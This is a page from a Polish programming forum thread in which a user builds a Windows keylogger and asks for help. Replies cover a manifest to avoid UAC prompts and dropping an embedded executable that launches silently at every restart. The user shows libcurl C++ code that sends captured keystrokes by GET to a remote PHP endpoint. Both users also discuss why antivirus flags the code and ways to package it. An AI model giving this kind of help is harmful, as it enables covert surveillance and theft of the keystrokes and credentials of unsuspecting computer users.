Strona 2 z 2 PierwszyPierwszy 12
Pokaż wyniki 11 do 15 z 15

Temat: [Autostart] [windows 7] [UAC] [Keylogger] Pomocy :D

  1. #11
    Zarejestrowany
    Aug 2009
    Postów
    22

    Domyślnie

    Tak dla jasności chodzi mi o to,
    Bez tytułu.jpg
    Da się chociaż odznaczyć z poziomu C++ jakoś opcje zawsze pytaj przed otwarciem pliku?
    Gdzieś to się przecież musi zapisywać co nie?

  2. #12
    Zarejestrowany
    Aug 2012
    Postów
    3

    Domyślnie

    Skoro jesteś pewien co do tego, że nie korzystasz z funkcji wymagających podniesienia uprawnień to możesz osadzić manifest w zasobach pliku. Tworzysz sobie nowy typ zasobów, nazywasz go "24" a jako ID przydzielasz mu wartość "1". Język zasobu niech ma ID = 1033.

    Następnie wrzucasz jako zawartość zasobu :

    Kod:
    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
    <assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="simple" type="win32"/>
    
    <description>Simple output app</description>
    
    <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
    <requestedPrivileges>
    <requestedExecutionLevel level="asInvoker"/>
    </requestedPrivileges>
    </security>
    </trustInfo>
    
    </assembly>
    Ale jeśli używasz funkcji wymagających podniesienia uprawnień, to okno UAC i tak się pojawi.
    Linux Mint x64

  3. #13
    Zarejestrowany
    Aug 2009
    Postów
    22

    Domyślnie

    Zerknij to hello world napisany w dev c++
    Projekt1.exe - Speedy Share - upload your files here
    Dodałem do niego ten manifest możesz sprawdzić resource hackerem czy zrobiłem to poprawnie.
    Okno niestety dalej wyskakuje

  4. #14
    Zarejestrowany
    Aug 2009
    Postów
    22

    Domyślnie

    @Refresh...

    Już sobie poradziłem, dodałem plik exe do zasobów programu który go z tych zasobów wypakowuje i zapisuje w odpowiednie miejsce a następnie uruchamia.
    Efekt został osiągnięty plik jest traktowany jako swój a nie obcy i otwierany bez pytania co restart komputera.

    ---------------------------------------------------------

    Teraz mam nowe pytanie, napisze to tutaj bo po co mam nowy temat zakładać.
    Dane z mojego keyloggera są odbierane get'em w php i zapisywane w php
    teraz robię to w taki sposób z użyciem curla:

    CURL *curl;
    curl_global_init(CURL_GLOBAL_ALL);
    curl = curl_easy_init();
    curl_easy_setopt(curl, CURLOPT_VERBOSE, 1);
    url="www.example.pl/example.php?test="test";
    curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
    curl_easy_perform(curl);
    curl_easy_cleanup(curl);
    Jednak jeżeli ktoś nie ma biblioteki libcurl.dll na komputerze to wywali error, da się w jakiś inny sposób napisać odwiedzanie strony www w C++?

    a tak przy okazji to czemu taka funkcja:
    string convertInt(int number)
    {
    stringstream ss;//create a stringstream
    ss << number;//add number to the stream
    return ss.str();//return a string with the contents of the stream
    }
    Jest traktowana przez antywirusa
    Emsisoft Anti-Malware Guard
    jako zagrożenie bardzo wysokiego stopnia? 0.o

  5. #15
    Zarejestrowany
    Aug 2012
    Postów
    3

    Domyślnie

    Linkuj statycznie libcurl. Zwiększy się rozmiar EXE no i też trochę więcej zachodu, bo zwykle sam libcurl ma kilka zależności w postaci plików DLL które również trzeba by przekompilować i zlinkować statycznie. IMO gra nie warta świeczki. Zrób sobie SFX jakiś.

    Wątpię czy ta funkcja powoduje pokazanie tego ostrzeżenia. Ale możesz spróbować zamienić ja na taką :

    Kod:
    std::string ToString(int iNumber)
    {
       char szNumber[32];
       itoa(iNumber, szNumber, 10);
    
       return std::string(szNumber);
    }
    Linux Mint x64

Strona 2 z 2 PierwszyPierwszy 12

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52